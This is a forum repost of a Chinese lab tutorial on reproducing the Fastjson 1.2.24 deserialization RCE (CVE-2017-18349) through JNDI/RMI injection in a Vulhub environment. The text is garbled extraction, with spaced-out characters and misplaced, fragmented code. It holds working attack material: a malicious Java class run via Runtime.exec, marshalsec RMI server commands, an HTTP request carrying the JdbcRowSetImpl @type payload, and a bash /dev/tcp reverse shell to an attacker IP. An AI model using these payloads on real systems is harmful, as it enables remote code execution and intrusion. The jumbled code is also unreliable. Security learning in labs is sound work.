搜索

[17038] 2021-07-17_框架安全之Fastjson渗透

文档创建者：s7ckTeam
浏览次数：39
最后更新：2025-01-18
2021-07-17_框架安全之Fastjson渗透 框 架 安 全 之 F a s t j s o n 渗 透 原 创   K r 1 p t 0   F r e e B u f   2 0 2 1 - 0 7 - 1 7 本 篇 文 章 是 F a s t j s o n 框 架 漏 洞 复 现 ， 记 录 了 近 几 年 来 爆 出 的 F a s t j s o n 框 架 漏 洞 ， 主 要 分 为 四 个 部 分 ： F a s t j s o n 简 介 、 F a s t j s o n 环 境 搭 建 、 F a s t j s o n 漏 洞 复 现 、 F a s t j s o n 工 具 介 绍 。 本 篇 文 章 由 浅 入 深 地 介 绍 了 F a s t j s o n 的 一 系 列 反 序 列 化 漏 洞 ， 基 于 R M I 或 L D A P 方 式 反 序 列 化 漏 洞 利 用 对 F a s t j s o n 进 行 R C E 。 在 学 习 F a s t j s o n 过 程 中 阅 读 了 几 十 篇 中 英 文 F a s t j s o n 相 关 技 术 文 章 ， 最 终 按 照 作 者 我 的 思 路 进 行 总 结 ， 相 关 参 考 文 章 也 在 文 末 列 出 。 此 外 ， 文 中 可 能 会 出 现 部 分 错 误 ， 望 读 者 指 出 ， 谢 谢 。 接 着 ， 开 始 我 们 的 F a s t j s o n 框 架 渗 透 学 习 ！ ！ 一 、 一 、 F a s t j s o n 简 介 简 介 是 语 言 编 写 的 高 性 能 开 源 解 析 库 ， 由 阿 里 巴 巴 开 发 ， 用 于 将 对 象 转 化 为 格 式 字 符 串 ， 也 可 以 将 格 式 字 符 串 转 化 为 等 价 的 对 象 ， 可 以 处 理 任 意 对 象 ， 包 括 没 有 源 代 码 的 已 存 在 对 象 。 具 有 以 下 几 个 特 点 ： 速 度 快 广 泛 使 用 测 试 完 备 使 用 简 单 功 能 完 备 J N D I 是 一 组 应 用 程 序 接 口 应 用 程 序 接 口 ， 提 供 了 查 找 和 访 问 查 找 和 访 问 命 名 和 目 录 服 务 的 通 用 、 统 一 的 接 口 ， 用 于 定 位 网 络 、 用 户 、 对 象 和 服 务 等 资 源 ， 是 规 范 中 是 重 要 的 规 范 之 一 。 （ 可 以 理 解 为 在 中 是 一 台 交 换 机 ， 将 组 件 、 资 源 、 服 务 取 了 名 字 ， 再 通 过 名 字 来 查 找 ） 底 层 支 持 远 程 对 象 ， 接 口 可 以 访 问 和 调 用 注 册 过 的 服 务 。 根 据 名 字 动 态 加 载 数 据 ， 支 持 的 服 务 有 参 考 ： J N D I 学 习 总 结 （ 一 ） J N D I 到 底 是 什 么 R M I 是 专 为 J a v a 环 境 设 计 的 远 程 方 法 调 用 机 制 远 程 方 法 调 用 机 制 ， 远 程 服 务 器 提 供 ， 客 户 端 根 据 提 供 相 应 参 数 即 可 调 用 远 程 方 法 。 由 此 可 见 ， 使 用 时 会 涉 及 到 参 数 传 递 和 结 果 返 回 ， 参 数 为 对 象 时 ， 要 求 对 象 可 以 被 序 列 化 。 L D A P 是 轻 量 级 目 录 访 问 协 议 ， 用 于 访 问 目 录 服 务 访 问 目 录 服 务 ， 基 于 X . 5 0 0 目 录 访 问 协 议 参 考 ： L D A P 服 务 器 的 概 念 和 原 理 简 单 介 绍 J N D I 注 入 注 入 在 服 务 中 ， 服 务 端 除 了 直 接 绑 定 远 程 对 象 ， 还 可 以 通 过 类 绑 定 一 个 外 部 的 远 程 对 象 （ 当 前 名 称 目 录 系 统 之 外 的 对 象 ） 。 绑 定 后 ， 服 务 端 先 利 用 方 法 获 取 绑 定 对 象 的 引 用 ， 并 且 在 目 录 中 保 存 。 当 客 户 端 使 用 方 法 查 找 该 远 程 对 象 时 ， 会 返 回 类 的 代 理 文 件 ， 接 着 调 用 获 取 类 ， 获 取 到 相 应 的 ， 最 终 通 过 类 将 转 换 为 具 体 的 对 象 实 例 。 从 源 码 中 也 可 以 发 现 该 类 继 承 自 ， 实 现 对 进 行 包 裹 ， 使 得 类 能 够 通 过 服 务 进 行 远 程 访 问 F a s t j s o n J a v a J S O N J a v a J S O N J S O N J a v a F a s t j s o n J a v a J N D I   ( J a v a   N a m i n g   a n d   D i r e c t o r y   I n t e r f a c e ) J 2 E E J N D I J 2 E E J N D I R M I J N D I R M I J N D I D N S 、 L D A P 、 C O R B A 、 R M I R M I   ( R e m o t e   M e t h o d   I n v o c a t i o n ) A P I A P I R M I L D A P ( L i g h t w e i g h t   D i r e c t o r y   A c c e s s   P r o t o c o l ) J N D I R M I R e f e r e n c e s R e f e r e n c e R e f e r e n c e a b l e . g e t R e f e r e n c e ( ) l o o k u p ( ) R e f e r e n c e W r a p p e r g e t R e f e r e n c e ( ) R e f e r e n c e o b j e c t   f a c t o r y f a c t o r y r e f e r e n c e R e f e r e n c e W r a p p e r U n i c a s t R m o t e O b j e c t R e f e r e n c e R e f e r e n c e R M I
上 面 介 绍 了 整 个 加 载 过 程 ， 则 攻 击 利 用 流 程 如 下 ： 1 .   目 标 代 码 中 调 用 了 I n i t i a l C o n t e x t . l o o k u p ( U R I ) ， 且 U R I 为 用 户 可 控 2 .   攻 击 者 控 制 U R I 参 数 为 恶 意 的 R M I 服 务 地 址 ， 如 ： r m i : / / h a c k e r _ r m i _ s e r v e r / / n a m e 3 .   攻 击 者 R M I 服 务 器 向 目 标 返 回 一 个 R e f e r e n c e 对 象 ， R e f e r e n c e 对 象 中 指 定 某 个 精 心 构 造 的 F a c t o r y 类 4 .   目 标 在 进 行 l o o k u p ( ) 操 作 时 ， 会 动 态 加 载 并 实 例 化 F a c t o r y 类 ， 接 着 调 用 f a c t o r y . g e t O b j e c t I n s t a n c e ( ) 获 取 外 部 远 程 对 象 实 例 5 .   攻 击 者 可 以 在 F a c t o r y 类 文 件 的 构 造 方 法 、 静 态 代 码 块 、 g e t O b j e c t I n s t a n c e ( ) 方 法 等 处 写 入 恶 意 代 码 ， 达 到 R C E 的 效 果 参 考 ： 深 入 理 解 J N D I 注 入 与 J a v a 反 序 列 化 漏 洞 利 用   -   博 客   -   腾 讯 安 全 应 急 响 应 中 心 二 、 搭 建 二 、 搭 建 F a s t j s o n 1 、 、 I D E A 下 载 下 载 进 入 官 网 选 择 社 区 版 即 可 I D E A 下 载 地 址 ： h t t p s : / / w w w . j e t b r a i n s . c o m / i d e a / d o w n l o a d / # s e c t i o n = w i n d o w s 2 、 、 I D E A 安 装 安 装 1 ） 双 击 安 装 程 序 安 装 路 径 等 默 认 ， 下 一 步 2 ） 安 装 选 项 如 图 勾 上 ， 默 认 下 一 步 （ 会 出 现 一 个 小 警 示 ， 直 接 确 认 跳 过 即 可 ） 3 ） 打 开 x 6 4 版 本 的 ， 选 择 免 费 3 0 天 C o m m u n i t y I D E A
选 择 安 装 完 成 3 、 安 装 、 安 装 J D K 1 . 8 默 认 安 装 ， 一 直 下 一 步 即 可 4 、 、 I D E A 创 建 新 项 目 创 建 新 项 目 c o n t i n u e
启 动 ， 选 中 刚 刚 装 好 版 本 ， 点 击 ， 填 写 项 目 名 称 后 即 可 创 建 成 功 第 一 次 创 建 项 目 较 慢 ， 等 待 片 刻 5 、 导 入 、 导 入 F a s t j s o n 的 的 j a r 包 包 下 载 地 址 ： h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m . a l i b a b a / f a s t j s o n 1 ） 选 择 ） 选 择 1 . 2 . 2 4 版 本 进 行 下 载 版 本 进 行 下 载 2 ） 创 建 目 录 ） 创 建 目 录 3 ） 复 制 ） 复 制 包 至 刚 刚 创 建 的 目 录 下 包 至 刚 刚 创 建 的 目 录 下 4 ） 前 往 目 录 结 构 选 项 中 ） 前 往 目 录 结 构 选 项 中 I D E A   x 6 4 J D K 1 . 8 u 1 6 1 N E X T F J ( 随 意 命 名 ) f a s t j s o n - 1 . 2 . 2 4 . j a r
5 ） 在 ） 在 中 导 入 模 块 ， 在 中 导 入 模 块 ， 在 中 点 击 加 号 ， 选 择 第 一 项 中 点 击 加 号 ， 选 择 第 一 项 6 ） 选 则 刚 刚 导 入 的 ） 选 则 刚 刚 导 入 的 j a r 包 ， 确 认 即 可 包 ， 确 认 即 可 M o d u l e D e p e n d e n c i e s
6 、 创 建 、 创 建 f a s t j s o n 简 单 项 目 简 单 项 目 创 建 j a v a   c l a s s ， 内 容 如 下 创 建 U s e r 类 i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; p u b l i c   c l a s s   F J d e m o   { p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s ) { U s e r   u s e r   =   n e w   U s e r ( ) ; u s e r . s e t N a m e ( " 小 明 " ) ; u s e r . s e t A g e ( 1 8 ) ; S t r i n g   j s o n S t r   =   J S O N . t o J S O N S t r i n g ( u s e r ) ; S y s t e m . o u t . p r i n t f ( j s o n S t r ) ; } } p r i v a t e   S t r i n g   n a m e ; p r i v a t e   I n t e g e r   a g e ; p u b l i c   S t r i n g   g e t N a m e ( )   { r e t u r n   n a m e ; } p u b l i c   v o i d   s e t N a m e ( S t r i n g   n a m e )   { t h i s . n a m e   =   n a m e ; } p u b l i c   I n t e g e r   g e t A g e ( )   { r e t u r n   a g e ; } p u b l i c   v o i d   s e t A g e ( I n t e g e r   a g e )   { t h i s . a g e   =   a g e ; } @ O v e r r i d e p u b l i c   S t r i n g   t o S t r i n g ( )   { r e t u r n   " U s e r { "   + " n a m e = ' "   +   n a m e   +   ' ' '   + " ,   a g e = "   +   a g e   +
点 击 r u n ， 执 行 F J d e m o 的 m a i n 函 数 三 、 漏 洞 复 现 三 、 漏 洞 复 现 以 复 现 操 作 为 主 ， 底 层 原 理 解 析 见 后 面 的 文 章 1 、 、 F a s t j s o n 1 . 2 . 2 4   反 序 列 化 漏 洞 反 序 列 化 漏 洞 R C E （ （ C V E - 2 0 1 7 - 1 8 3 4 9 ） ） 0 x 0 1   简 介 简 介 f a s t j s o n 在 解 析 j s o n 对 象 时 ， 会 使 用 a u t o T y p e 实 例 化 某 一 个 具 体 的 类 ， 并 调 用 s e t / g e t 方 法 访 问 属 性 。 漏 洞 出 现 在 F a s t j s o n   a u t o T y p e 处 理 j s o n 对 象 时 ， 没 有 对 @ t y p e 字 段 进 行 完 整 的 安 全 性 验 证 ， 我 们 可 以 传 入 危 险 的 类 并 调 用 危 险 类 连 接 远 程 R M I 服 务 器 ， 通 过 恶 意 类 执 行 恶 意 代 码 ， 进 而 实 现 远 程 代 码 执 行 漏 洞 。 影 响 版 本 影 响 版 本 ： F a s t j s o n 版 本 小 于 1 . 2 . 2 5 一 些 注 意 点 ： 反 序 列 化 常 用 的 两 种 利 用 方 式 ： 基 于 R M I 和 基 于 L D A P 。 R M I 指 的 是 J A V A 的 远 程 方 法 调 用 ， L D A P 是 轻 量 级 目 录 访 问 协 议 。 J A V A 版 本 限 制 ： 基 于 R M I 的 利 用 方 式 ， J D K 版 本 限 制 于 6 u 1 3 2 、 7 u 1 3 1 、 8 u 1 2 1 之 前 ， 在 8 u 1 2 2 及 之 后 的 版 本 中 ， 加 入 了 反 序 列 化 白 名 单 的 机 制 ， 关 闭 了 R M I 远 程 加 载 代 码 基 于 L D A P 的 利 用 方 式 ， J D K 版 本 限 制 于 6 u 2 1 1 、 7 u 2 0 1 、 8 u 1 9 1 、 1 1 . 0 . 1 之 前 ， 在 8 u 1 9 1 版 本 中 ， O r a c l e 对 L D A P 向 量 设 置 限 制 ， 发 布 了 C V E - 2 0 1 8 - 3 1 4 9 ， 关 闭 J N D I 远 程 类 加 载 0 x 0 2   靶 场 环 境 靶 场 环 境 使 用 靶 场 进 行 复 现 ， 搭 建 命 令 如 下 查 看 靶 场 容 器 信 息 " ,   a g e = "   +   a g e   + ' } ' ; } v u l h u b c d   v u l h u b / f a s t j s o n / 1 . 2 . 2 4 - r c e s u d o   d o c k e r - c o m p o s e   u p   - d 靶 场 I P :   1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 s u d o   d o c k e r   p s
进 入 容 器 内 查 看 j a v a 版 本 访 问 靶 场 网 址 成 功 搭 建 完 成 ~ 0 x 0 3   复 现 过 程 复 现 过 程 分 析 ： 靶 场 环 境 为 J a v a   8 u 1 0 2 ， 没 有 的 限 制 ， 可 以 使 用 利 用 链 结 合 J N D I 注 入 执 行 远 程 命 令 先 安 装 J a v a 8 u 2 0 版 本 ， 下 面 提 供 便 捷 代 码 ， 将 现 有 的 J a v a 删 除 并 安 装 上 J a v a 8 u 2 0 版 本 （ 配 合 快 照 使 用 ） 1 ） 编 译 恶 意 类 代 码 ） 编 译 恶 意 类 代 码 创 建 文 件 名 为 的 文 件 使 用 编 译 2 ） 下 载 ） 下 载 工 具 工 具 m a r s h a l s e c 工 具 用 于 开 启 R M I 服 务 器 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c 3 ） 安 装 ） 安 装 m a v e n s u d o   d o c k e r   e x e c   - i t   9 5 9 9 a d 4 b 7 c e c   b a s h c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e c o m . s u n . r o w s e t . J d b c R o w S e t I m p l c d   / o p t c u r l   h t t p : / / w w w . j o a o m a t o s f . c o m / r n p / j a v a _ f i l e s / j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z   - o   j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z t a r   z x v f   j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z r m   - r f   / u s r / b i n / j a v a * l n   - s   / o p t / j d k 1 . 8 . 0 _ 2 0 / b i n / j *   / u s r / b i n j a v a c   - v e r s i o n j a v a   - v e r s i o n e v i l c l a s s . j a v a i m p o r t   j a v a . l a n g . R u n t i m e ; i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   e v i l c l a s s { s t a t i c   { t r y   { R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ; S t r i n g [ ]   c o m m a n d s   =   { " t o u c h " ,   " / t m p / t e s t " } ; P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ; p c . w a i t F o r ( ) ; }   c a t c h   ( E x c e p t i o n   e )   { / /   d o   n o t h i n g } } } j a v a c j a v a c   e v i l c l a s s . j a v a m a r s h a l s e c g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c . g i t a p t - g e t   i n s t a l l   m a v e n
4 ） 使 用 ） 使 用 m a v e n 编 译 编 译 m a r s h a l s e c 成 成 j a r 包 包 5 ） 搭 建 启 动 ） 搭 建 启 动 R M I 服 务 服 务 6 ） ） B u r p S u i t e 抓 包 改 包 抓 包 改 包 已 经 发 送 了 e v i l c l a s s 文 件 前 往 靶 场 容 器 内 ， 成 功 执 行 命 令 创 建 t e s t 文 件 0 x 0 4   L i n u x 反 弹 反 弹 s h e l l m v n   c l e a n   p a c k a g e   - D s k i p T e s t s j a v a   - c p   m a r s h a l s e c - 0 . 0 . 3 - S N A P S H O T - a l l . j a r   m a r s h a l s e c . j n d i . R M I R e f S e r v e r   " h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 6 / # e v i l c l a s s "   9 9 9 9 P O S T   /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 : 8 0 9 0 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 7 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 8 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   0 { " b " : { " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " , " d a t a S o u r c e N a m e " : " r m i : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 6 : 9 9 9 9 / e v i l c l a s s " , " a u t o C o m m i t " : t r u e } }
将 上 面 的 j a v a 代 码 中 的 执 行 命 令 改 为 反 弹 s h e l l 的 命 令 ， 其 余 步 骤 相 似 进 行 编 译 ， 抓 包 改 包 发 包 成 功 监 听 到 反 弹 s h e l l 2 、 、 F a s t j s o n 1 . 2 . 2 4   反 序 列 化 漏 洞 反 序 列 化 漏 洞 R C E （ 自 建 （ 自 建 w i n 靶 场 拓 展 研 究 ） 靶 场 拓 展 研 究 ） 0 x 0 1   简 介 简 介 上 面 复 现 是 在 L i n u x 系 统 中 ， 通 过 V u l h u b 搭 建 的 f a s t j s o n 靶 场 进 行 复 现 ， 本 节 通 过 自 建 s p r i n g + f a s t j s o n 漏 洞 环 境 ， 深 入 研 究 f a s t j s o n 反 序 列 化 漏 洞 ， 先 开 始 搭 建 过 程 0 x 0 2   环 境 搭 建 环 境 搭 建   S p r i n g + F a s t j s o n 1 ） 创 建 ） 创 建 S p r i n g 项 目 项 目 搭 建 S p r i n g 框 架 i m p o r t   j a v a . l a n g . R u n t i m e ; i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   e v i l c l a s s { s t a t i c   { t r y   { R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ; S t r i n g [ ]   c o m m a n d s   =   { " / b i n / b a s h " ,   " - c " ,   " b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 6 / 9 0 0 1   0 > & 1 " } ; P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ; p c . w a i t F o r ( ) ; }   c a t c h   ( E x c e p t i o n   e )   { / /   d o   n o t h i n g } } } j a v a c B u r p s u i t e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理